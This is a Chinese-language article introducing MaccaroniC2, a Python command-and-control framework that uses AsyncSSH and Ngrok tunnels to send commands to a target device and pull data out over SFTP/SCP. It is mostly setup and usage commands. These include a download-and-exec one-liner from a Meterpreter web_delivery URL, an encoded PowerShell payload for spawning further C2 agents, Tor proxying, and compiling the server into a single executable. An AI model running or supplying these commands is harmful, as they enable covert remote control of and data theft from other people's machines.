MaccaroniC2是一款功能强大的命令控制C2框架,该工具基于纯Python实现,可以帮助广大研究人员在特定场景中实现控制命令的发送和结果的接收。
该工具使用了功能强大的AsyncSSH Python库实现其功能,该Python库提供了一个异步客户端和基于SSHv2协议的服务器实现,并使用了PyNgrok封装器来集成Ngrok。在特定场景中,目标设备需要运行AsyncSSH服务器并建立一个通向外部的隧道,并随时准备接收研究人员发送的命令。
命令发送方利用Ngrok官方API来获取隧道的主机名和端口信息,并建立通信连接。这种技术利用了AsyncSSH所提供的复杂能力,包括其针对SFTP和SCP的支持,以实现更加高效且安全的数据提取。
除此之外,研究人员还可以使用一个SOCKS代理来发送和执行系统命令,比如说TOR等。
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3.x环境。接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/CalfCrusher/MaccaroniC2.git
然后切换到项目目录中,使用pip工具和项目提供的requirements.txt文件安装该工具所需的其他依赖组件:
cd MaccaroniC2 pip3 install -r requirements.txt
1、运行python3 gen_rsa.py生成SSH密钥对,命令发送方需要使用新生成的id_rsa连接目标设备上运行的服务器。
2、编辑asyncssh_server.py文件,用新生成的id_rsa.pub的内容替换pub_key变量值。asyncssh_server.py文件提供了SSHv2协议的实现,并带有SFTP和SCP功能,该脚本也是目标设备需要运行的脚本。
3、创建一个Ngrok免费账号,并记录下AUTH令牌。
4、将AUTH令牌添加到asyncssh_server.py文件中的token变量中,该参数需要硬编码到ngrok_tunnel()函数中。
5、在Ngrok网站上创建一个免费的API密钥,记录下生成的密钥字符串。
6、将API密钥字符串写入到async_commander.py文件的api_key变量中,这样就可以自动获取活动隧道的Ngrok域名和端口数据了。
7、对get_endpoints.py执行上述相同操作,该脚本负责获取关于活动隧道的各种其他有用信息。
在async_commander.py脚本的帮助下,我们可以直接向服务器端发送任意命令。该脚本将会使用Ngrok官方API自动请求目标设备激活的Ngrok活动隧道的域名和端口信息。
需要注意的是,id_rsa文件必须跟async_commander.py脚本在同一目录中。
在目标设备上运行服务器端:
python3 asyncssh_server.py
命令发送方通过SOCKS代理发送控制命令:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
不使用代理直接发送控制命令:
python3 asyncssh_commander.py "whoami"
生成另一个C2代理(Powershell-Empire或Meterpreter等):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_delivery模块:
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
获取活动隧道列表:
python3 get_endpoints.py
生成新的RSA密钥对:
python3 gen_rsa.py
使用SFTP和SCP-有代理:
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOSTscp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
使用SFTP和SCP-无代理:
sftp -P PORT -i id_rsa ddddd@NGROK_HOSTscp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitkapython -m nuitka --standalone --onefile asyncssh_server.py
本项目的开发与发布遵循GPL-3.0开源许可证协议。
MaccaroniC2:【GitHub传送门】
ngrok pricing | Pay-as-you-go or pay per seat
Inside the Mind of a Cyber Attacker: from Malware creation to Data Exfiltration (Part 1) – Hacktive Security Blog